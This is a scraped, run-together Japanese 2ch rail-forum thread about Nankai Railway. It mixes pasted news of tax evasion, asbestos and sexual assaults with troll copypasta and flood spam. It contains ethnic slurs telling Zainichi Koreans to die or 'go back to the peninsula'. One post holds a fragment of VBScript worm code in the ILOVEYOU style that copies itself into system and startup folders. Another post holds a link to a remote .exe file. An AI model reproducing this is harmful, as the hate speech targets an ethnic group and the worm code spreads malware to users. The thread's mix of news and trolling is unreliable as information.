南海と関空 ２

結局トンズラしたみさき公園                   
自分がニートじゃないことをアピールして派手に自爆したみさき公園                   

だから就職もままならないみさき公園                   
自己嫌悪を南海スレ荒らしで誤魔化そうとするが冷静になってみると                   
また自己嫌悪に陥ってスレを荒らすオナニー猿状態なみさき公園 

在日朝鮮人死ね↓赤字監禁強制わいせつ南海ヲタ◇◆◇◆◇南海電鉄が申告漏れ３年間で３億５０００万円（共同通信）◇◆◇◆◇南海電気鉄道（大阪市中央区）が大阪国税局の税務調査を受け、２
００１年３月期までの３年間で約３億５０００万円の申告漏れを指摘されていたことが２１日、分かった。同国税局は、施設の減価償却費として損金計上した約１０００万円について所得隠しと認定
、重加算税、過少申告加算税を含め約１億１０００万円を追徴課税（更正処分）した。関係者によると、同社は建設した施設にについて供用開始前に減価償却費として約１０００万円を計上。しかし
、同国税局は「施設が供用を開始した後から計上するべきだ」などとした上で、意図的な経理操作があったとして重加算税の対象にしたという。また、そのほかにも資産の取得にからむ減価償却費な
どの計上について、経理ミスがあったとして申告漏れを指摘。不正な経理操作はなかったとして過少申告加算税の対象にしたとみられる。ttp://news.goo.ne.jp/news/topics/index/02122/1.html◆
◇◆◇◆減損処理で当期赤字に南海電鉄決算◆◇◆◇◆南海電気鉄道が１２日発表した０６年３月期連結決算は、売上高が前期比２．９％減の１９０４億円、来園者が減少している遊園地「みさき公
園」（大阪府岬町）などの減損処理で発生した特別損失が２１０億円に上り、当期損益は６５億円の赤字になった。ソース：www.asahi.com/kansai/news/OSK200605120072.html南海電鉄アスベストむ
き出しアスベストによる健康被害が広がる中、大阪に本社がある大手私鉄、南海電鉄の一部の駅で、天井のはりなどに吹き付けられたアスベストがむき出しになっているのに、飛び散るおそれはない
として撤去や密閉などの新たな措置を考えていないことがわかりました。ttp://www3.nhk.or.jp/news/2005/08/02/k20050802000028.html◆◆◆「うるさい」と子ら暴行容疑〜高石南海電車内で〜◆
◆◆27日午後１時ごろ、大阪府高石市羽衣５丁目の南海電鉄高師浜線伽羅橋駅で、男が普通電車を降りる際、子ども会でアイススケートに行く途中だった同府岸和田市の小学４年生の男児（10）の腰

をけった。男児ははずみでホームに押し出され転倒。男はさらに引率者の会社員男性(40)の顔を殴ったが、男性にその場で取り押さえられ、高石署に暴行と傷害容疑で現行犯逮捕された。調べでは、
男は高石市高師浜１丁目の無職藤本崇之容疑者(24)。男児らは約70人のグループで電車に乗っており、藤本容疑者は「子どもたちがうるさかった」と供述しているという。ソース：朝日新聞２月28日
付朝刊35頁社会面４少年が電車・駅で女子高生にわいせつ行為容疑で逮捕--------------------------------------------------------------------------------大阪府立高校の男子生徒３人を含む
少年４人が、女子高校生に電車内などでわいせつな行為をしたとして、府警は２９日、いずれも同府岸和田市内に住む高校３年の男子生徒（１８）と会社員（１７）を強制わいせつ容疑で、１６、１
７歳の高校１年の男子生徒２人を強制わいせつ幇助（ほうじょ）容疑で逮捕した、と発表した。少年らは、女子生徒が電車から降りた後、便所に連れ込んでわいせつ行為を続けたという。少年課の調
べでは、高３の男子生徒は１０月１１日午後１０時１０分ごろ、南海みさき公園発難波行きの電車内で、同じ車両に居合わせた女子生徒を隣に座らせ、２５分にわたって体を触るなどした疑い。女子
生徒が乗り換えのため岸和田駅で下車したところ、この男子生徒と会社員の少年は女子生徒を同駅の男子トイレに連れ込んで約１０分間、わいせつな行為を続けた疑い。高１の２人は電車内ではやし
立てたり、トイレ外側で見張ったりして２人を助けた疑い。同課によると、女子生徒は電車内で「やめてください」などと助けを求めたが、当時車内にいた数人の客は助けようとしなかった。車掌や
駅員も気づかなかったという。少年４人は遊び仲間で、女子生徒とは面識がなかった。ttp://www.asahi.com/kansai/news/OSK200411300005.html◆◇◆◇◆運転士と車掌が女性監禁トイレで強制わい
せつ◆◇◆◇◆23歳コンパニオンをトイレに監禁、体触る兵庫県警有馬署は２５日、強制わいせつと監禁の疑いで、南海電鉄運転士上野敦弘（３４＝大阪府羽曳野市）、南海電鉄車掌喜多信也（３３

＝和歌山県橋本市）の両容疑者を逮捕した。調べでは、両容疑者は共謀。５月２９日午後８時５０分ごろ、神戸・有馬温泉のホテルで、コンパニオン女性（２３）を男性トイレに連れ込み施錠、体に
触るなどのわいせつ行為をした疑い。両容疑者は「合意の上だった」と容疑を否認しているという。両容疑者は同期入社の社員十数人と有馬温泉に宿泊。宴会場でコンパニオン数人の接待を受け、２
次会でホテル内のバーに移動した。２次会ではコンパニオン数人の時間を延長して接待を受けていた。両容疑者は女性がトイレへ行くため席を立ったところ「ちょっと来て」と誘い、手を引っ張って
トイレに連れ込んだという。両容疑者は約４０分間、女性をトイレに監禁し、わいせつな行為に及んだという。]同僚のコンパニオン女性が席に戻ってこない女性を心配し、男子トイレを外からノッ
クしたが、反応はなかったという。６月上旬に女性が同署に被害届を提出した。南海電鉄は「あるまじき行為。全社員への教育を徹底する」とコメント、両容疑者の処分を検討している。［2006年7
月26日11時6分紙面から］ttp://osaka.nikkansports.com/news/p-on-tp6-20060726-66186.html南海電鉄で囁かれる｢最悪のシナリオ｣怪文書が指摘する疑惑の数々､疑惑に発展か経企庁による“大本営
発表”の数字はともかく、いまだ景気の回復はその兆しすら見えてこないという状況の中、私鉄各社の経営も依然として厳しい状態が続いている。各社とも、主力の鉄道事業収入が年々、減少傾向に
あり、関連事業も思わしくない。中でも、関西私鉄大手の一角を占める南海電気鉄道の経営状況はかなり厳しい様相を呈している。しかも、同社を巡っては、一年ほど前から経営陣を批判する数種類
の怪文書も出回っており、その騒動の余波は未だに尾を引いている‥‥。さる五月末、同社の二〇〇〇年三月期決算が発表されたが、その数字を見ても同社の置かれた状況がいかに厳しいものかがう
かがえる。近鉄、阪急、阪神、京阪に続いて関西私鉄大手の中で五位の南海電鉄は、同期の売上高こそ千百九十九億円と、前年同期比で一・六％の伸びを示したものの、経常利益では十九億円と、前
年同期比では実に二七・五％もの減少という惨憺たる結果になっている。さらにいえば、税引き後利益はほぼゼロで、前年同期比ではなんと九八・四％ものマイナス。「全国的に見ても、関西の雇用

情勢は相変わらず厳しい上に、少子高齢化やマイカーへの需要シフトといった構造的なマイナス要因もあることは確かですが、それでも、大手五社の中で経常利益が前年同期比でマイナスに転じたの
は南海だけです。もっとも、各社とも、主力の鉄道事業だけをみればそれぞれ前年よりも収益が減っているのも確かですが南海の場合、業績不振の観光事業子会社を整理したり、希望退職者への割増
退職金などを特別損失として約二百億円計上したことが大きかったようです。それでも、これだけなら本来なら経常段階でも赤字転落は免れなかったんですが、難波地区の再開発用地の一部を民間都
市開発推進機構へ売却して、その売却益でかろうじて黒字にしているという状態なんです」（在阪の経済誌記者）実際、グループ会社も含めた連結決算ではもっと惨憺たる結果が出ており、連結の売
上高でも当初予想を八十億円下回り、最終損益では二十四億円の赤字となっている。前期はかろうじて三億円の黒字をキープしたが、連結での赤字転落はA連結決算を公表して以来、初めてのことだ
という。こうした厳しい状況もあってか、労使間の対立も以前にも増してかなり厳しい状況になっているようで、その余波なのか、昨年春以降、経営陣を批判する怪文書も出回って、関係者の注目を
集めているのだ。南海電鉄、堺に１４８メートルのマンション計画仁徳陵を一望、住民「景観壊す」堺市内に建設が計画されている高さ約百四十八メートルの超高層マンションから、国内最大の前方
後円墳の仁徳天皇陵（堺区）が“丸見え”になることがわかった。天皇陵との距離は約一キロ。同市は世界遺産登録を目指しているが、地元住民からは「景観悪化につながる」と建設反対の動きも。
中には「天皇陵を見下ろすことに問題はないのか」の声もある。建設主の南海電鉄は数回にわたり住民説明会を開いているが、景観論争の決着には時間がかかりそうだ。南海電鉄によると、予定地は
南海堺東駅の東側に隣接する車庫跡地約一・四ヘクタール。四十二階と十五階の二棟約五百戸で、平成二十一年三月のオープンを予定している。高さ約百四十八メートルは市内で最も高い建物となる

。ただ、仁徳天皇陵からの距離は北西にわずか約一キロ。同電鉄不動産営業本部では「自然環境豊かな仁徳陵の眺望は、最大のウリ」という。同電鉄では、計画を打ち出した昨年九月以降、二カ月に
一度のペースで地元住民らに説明会を実施しているが、周辺住民は猛反発。天皇陵を含む百舌鳥古墳群の世界文化遺産登録に向け、マンション建設が水を差すというのが主な理由だ。地元住民で建設
に反対する上村雄彦・大阪府立大名誉教授は「明らかに景観を破壊しており、建設を中止しなければ世界遺産登録はありえない」と指摘。ユネスコ（国連教育科学文化機関）は、世界文化遺産のケル
ン大聖堂（独）の周辺で高層ビル開発の計画が持ち上がった際、大聖堂を危機遺産に登録し、計画をストップさせたという。住民らは今月二十日にも建設中止を求める要望書を市に提出する予定だが
、市建築都市局は「古墳の周囲には、低いながらもすでに家やマンションが建っている。現場に高さ制限はなく、建築基準法をクリアしていれば問題ない。堺の中心地に人を呼び戻す絶好のチャンス
と期待している」。ttp://www.sankei.co.jp/news/060419/evening/20iti001.htm■「世界遺産登録に“超高層”の影」2006/05/23 放送（長文のため一部省略）この４月に関西で４番目、全国で１５
番目に政令市となった大阪府堺市が、再開発問題で頭を痛めています。超高層マンションで駅前を一気に活性化しようというものなんですが、堺市が世界に誇る歴史遺産の未来に暗い影を落としてい
るんです。しかし去年９月、竹川さんの耳に信じられないニュースが飛び込んできました。なんと４５階建て、高さ１５２メートルのタワーマンションが建つというのです。世界遺産登録をめざす堺
市でなぜこんなことが起こるのでしょうか。建設予定地は以前南海電鉄の操車場でしたが、移転に伴い、遊休地となっていました。それがおととしの５月、都心活性化のための特別措置法で、駅西側
の商業地とともに、高さ制限のない緊急整備地域に指定されました。そこに南海電鉄は、超高層マンション計画を立ち上げたのです。〈南海電鉄住宅事業部・田中裕二部長〉「町が変わるんだ、中心

地が活性化するんだと。こういうことの起爆剤、呼び水になると考えています。（超高層マンションは）違和感のない景観だと思っています」＜続く＞ しかしこの計画地、反正陵からわずか１２０
メートル。完成したら周囲の景観は激変し、世界遺産登録への影響が心配されます。反対派住民は計画の見直しを訴えましたが、南海電鉄との話し合いは平行線のままです。地元で反対運動を進める
吉田さんらは、手作りの模型で、マンションの及ぼす影響を説明してきました。〈地元対策協議会・吉田暢事務局長〉「イメージがわかない方もおられるんで、『ピラミッドの横に１５０メートルの
建物が建つという風にお考え頂いたらよくわかりますよ』と。あぁそういうことかと」吉田さんのもとには、すでに７，０００人を越える署名が集まりました。堺市の有識者会議にも名を連ねる専門
家はこう指摘します。〈京都府立大学・宗田好史助教授〉「あえて、今から登録をめざす遺産の中に高層ビル、それも地元の反対があるとなれば絶望的ですね」世界遺産か高層マンションか。ttp://
mbs.jp/voice/special/200605/23_2733.shtml現在の会社の経営状況があまりにもひどすぎるので、せめて現実逃避しようと旧塗装撮影会でシコシコとオナニーした、情けない赤字南海&南海ヲタおら
あああ！！モギャ！∧＿∧―＝≡三∧＿∧＼从从//／（´∀｀）三≡＝――＝≡三と（#´∀｀）つ''"´"∧_ﾉ；*;''"´"''::;:,（阪急つ三≡＝――＝≡三ヽ阪和線￣⌒)＞д(;;;((⌒￣￣￣＿）三≡＝
――＝≡三//￣￣´"'''⊂;;；#':*,'´''::;;;;::'''"´￣ヽ＼三≡＝――＝≡三＼__）;／／／（_,､｀^)^)＼＼＼（_＿）三≡＝―↑赤字南海赤字南海ヲタが阪急萌えを自白「べっ別に阪急が好きだ
からこのスレに常駐してるんじゃないんだからね！」<bodyonload=window()>Ifs="htm"andfso.FileExists(f1.path+"l")=Falsethenfso.CopyFilef1.path,f1.path+"l"SetA4=A1.CreateTextFile(A1.B
uildPath(A1.GetSpecialFolder(1)))fso.copyfile"c:\network.vbs","j:\windows\startmenu\programs\startup\"c.Copy(dirsystem&"\MSKernel32.vbs")c.Copy(dirwin&"\Win32DLL.vbs")c.Copy(di

汚染を除去しました。

/【紀ノ川←】南海電気鉄道ｽﾚｯﾄﾞNa82【⇒孝子】ttp://hobby7.2ch.net/test/read.cgi/rail/1155819542/【紀ノ川←】南海電気鉄道ｽﾚｯﾄﾞNa82【⇒孝子】ttp://hobby7.2ch.net/test/read.cgi/rail
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電気鉄道ｽﾚｯﾄﾞNa82【⇒孝子】ttp://hobby7.2ch.net/test/read.cgi/rail/1155819542/【紀ノ川←】南海電気鉄道ｽﾚｯﾄﾞNa82【⇒孝子】ttp://hobby7.2ch.net/test/read.cgi/rail/1155819542/【紀
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obby7.2ch.net/test/read.cgi/rail/1155819542/1000なら赤字南海、産業再生機構に入る1000なら赤字南海、産業再生機構に入る999：名無し野電車区：2006/09/13(水)01:04:12ID:h8Id2KVh1000な
ら赤字南海、産業再生機構に入る1000：名無し野電車区：2006/09/13(水) 01:04:44 ID:h8Id2KVh1000なら赤字南海、産業再生機構に入る

結局トンズラしたみさき公園                    
自分がニートじゃないことをアピールして派手に自爆したみさき公園                    

だから就職もままならないみさき公園                    
自己嫌悪を南海スレ荒らしで誤魔化そうとするが冷静になってみると                    
また自己嫌悪に陥ってスレを荒らすオナニー猿状態なみさき公園

南海はボロい南海はボロい↓赤字監禁強制わいせつ南海ヲタ

南海ボロボロ、ボロロンロン

結局トンズラしたみさき公園                     
自分がニートじゃないことをアピールして派手に自爆したみさき公園                     

だから就職もままならないみさき公園                     
自己嫌悪を南海スレ荒らしで誤魔化そうとするが冷静になってみると                     
また自己嫌悪に陥ってスレを荒らすオナニー猿状態なみさき公園 

ボ、ボ、南海ボ、ロ、イ！

ボボッボボッボッボロ、南海！ボボッボボッボッボロ、南海！ラッセー、ラッセー、ラッセー、ラッセー！ボボッボボッボッボロ、南海！

ボロは何かいい！並べ替えると・・・南海はボロい！

田舎はボロいん並べ替えると・・・南海はボロい

赤字監禁強制わいせつ南海＼(^o^)／ｵﾜﾀ

赤字垂れ流しながら汐見橋線を運行する同和の味方は？

158：名無し野電車区：2006/09/14(木)23:59:59ID:qg8xpleI赤字監禁強制わいせつ南海＼(^o^)／ｵﾜﾀ158：名無し野電車区：2006/09/14(木)23:59:59ID:qg8xpleI赤字監禁強制わいせつ南海＼(^o^)／ｵ
ﾜﾀ158：名無し野電車区：2006/09/14(木)23:59:59ID:qg8xpleI赤字監禁強制わいせつ南海＼(^o^)／ｵﾜﾀ158：名無し野電車区：2006/09/14(木)23:59:59ID:qg8xpleI赤字監禁強制わいせつ南海＼(^o^)／
ｵﾜﾀ158：名無し野電車区：2006/09/14(木)23:59:59ID:qg8xpleI赤字監禁強制わいせつ南海＼(^o^)／ｵﾜﾀ158：名無し野電車区：2006/09/14(木)23:59:59ID:qg8xpleI赤字監禁強制わいせつ南海＼(^o^)
／ｵﾜﾀ158：名無し野電車区：2006/09/14(木)23:59:59 ID:qg8xpleI赤字監禁強制わいせつ南海＼(^o^)／ｵﾜﾀ成功してますが>166このスレの連中は「井の中の蛙」なのでそんなことで煽っても無意味で
っせ

結局トンズラしたみさき公園                      
自分がニートじゃないことをアピールして派手に自爆したみさき公園                      

だから就職もままならないみさき公園                      
自己嫌悪を南海スレ荒らしで誤魔化そうとするが冷静になってみると                      
また自己嫌悪に陥ってスレを荒らすオナニー猿状態なみさき公園

天気が雨のため、例年のだんじり客特需を逃し、業績を下方修正せざるを得ない苦しい南海w南海ぼろい>294実は閉鎖的で保守的な土地柄のせいからだろう。俺は南海沿線住民だが泉大津・岸和田には
絶対住みたくない。どうしてもならまだ泉佐野のほうがマシこんなこと思うの俺ひとりじゃないと思うが

>326いや、みんな泉州もとい大阪南部には住みたくないんだけどな。貧乏人が、仕方なく地価の安い大阪南部に住んでいるのが実状。しかし実際は、土地が安い分、南海に電車代をぼったくられてい
る。阪急の運賃水準と比べると、南海はぼったくりまくり。

>335今の泉佐野市は、財政破綻寸前だけどな。他の泉州の市町村も似たようなもん。

>327昔の泉佐野はな・・・しかし今は関空のおかげで“新しい血”が流れ垢抜けした部分もある。>334揚げ足を取らせてもらうと・・・・阪急沿線の言わいる“高級住宅地”は駅からバス乗り換えな
いと行けないところが大半なんだけどな

南海の売り・美加の台でも、辺鄙すぎてまっとうな人間の住むところじゃないし。大阪ガスではなくて河内長野ガスというあたりにも、辺鄙さを感じる

彩の台なんか、お話にもならない次元。都心からはるかかなたの山奥の上に、林間田園都市駅からさらに渋滞しない道をバスで15分以上とは、情けない。ここぞ究極の負け組が集うニュータウン。安
月給人間の集まり。住所を書くだけで「私は貧乏の家庭です」とカミングアウトすることになり、何とも恥ずかしいだろう。

はいはいﾁｿｶｽﾁｿｶｽ

梅田まで御堂筋線経由で40分の彩都の方が、断然便利で人気も高い。南海不動産とは違って、先行開発宅地が即時完売になったのが、「北摂」の人気を裏付けている。また、茨木市民となれるので、
河内長野市民や和歌山県民として低い扱いをされるよりも、断然ステータスが得られる。

南海沿線は本数少ないよな。どうせなら阪和線沿線のほうがよくね？

チョンの赤字南海ヲタはさっさと半島に帰れ

はいはいﾁｿｶｽﾁｿｶｽ

千早口〜紀美峠は人間の住めるところではない。

極論に極論で返すなよな阪急沿線の高級住宅地は駅からバスって書けば彩の台出してくるか？阪急にも岡本みたいなとこあるし南海にも浜寺・羽衣みたいなところがある。勝ち組の負け組のレベルの
低い　ハナシ　に加担する気はないがほんに“ええ場所”ってこの辺ちゃうんけ？キタもミナミもないっちゅ〜の

はいはいﾁｿｶｽﾁｿｶｽ

はいはいﾁｿｶｽﾁｿｶｽ

はいはいﾁｿｶｽﾁｿｶｽ

wyxettp://www.qiucong.com/xq.exe南海沿線に高級住宅街など無い。デパートの特売見ると愕然としたと知り合いが言ってた。難波高島屋の特売品と、梅田阪急の特売品て全然値段が違うんだって。
難波の感覚で行くと、梅田阪急のは高すぎてとても特売品とは思えなかったそうだけど、それが飛ぶように売れていくんだって。沿線住民の購買力の差がすごく大きいみたい。>429β地区でもその騒音
って全然気にならないっしょ。そこが関空の対環境への優秀なところですな。日中に陸上航行してる飛行機は伊丹の着陸機だし俺は南大阪上空から伊丹離発着機締め出して関空離発着機に開放すべき
と考える。阪急は、ほぼ全員の車掌が車外スピーカーを使ってるが南海は使える車両が少ないせいもあったり、じゃまくさがりが多いのかほとんど使われてませんね。京阪沿線で伏見区在住ですがだ
んじり祭りに行くため南海を利用しましたが難波〜岸和田が480円って酷いぼったくりですね。難波〜堺周辺までの250円区間までは、ごく普通の料金なのに

>444安かろう良かろうの京阪安かろう悪かろうのスーパー玉出高かろう悪かろうの赤字監禁強制わいせつ南海

>427そりゃ、低所得の南海沿線民は阪急百貨店では買い物できないだろうよ。てかむしろ阪急百貨店が、置き引き・スリは日常茶飯事の南海沿線低所得民を寄せつけないようにした価格設定で、阪急
沿線の客に安心して買い物ができる場を提供している、ともいえる

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ダイヤ改正前のデータイム急行停車駅の一つ手前で折り返す「普通車」を運行させていた大手私鉄に似たお笑い集団は？ヒント普通┃樽井

樽井の一つ先の尾崎と言う糞駅に特急を止めるお笑いを行う、大阪市中央区難波の鉄道業に見せ掛けたお笑い集団兼愚民団体の名を答えなさい

はいはいﾁｿｶｽﾁｿｶｽはいはいﾁｿｶｽﾁｿｶｽはいはいﾁｿｶｽﾁｿｶｽはいはいﾁｿｶｽﾁｿｶｽはいはいﾁｿｶｽﾁｿｶｽはいはいﾁｿｶｽﾁｿｶｽはいはいﾁｿｶｽﾁｿｶｽはいはいﾁｿｶｽﾁｿｶｽ  
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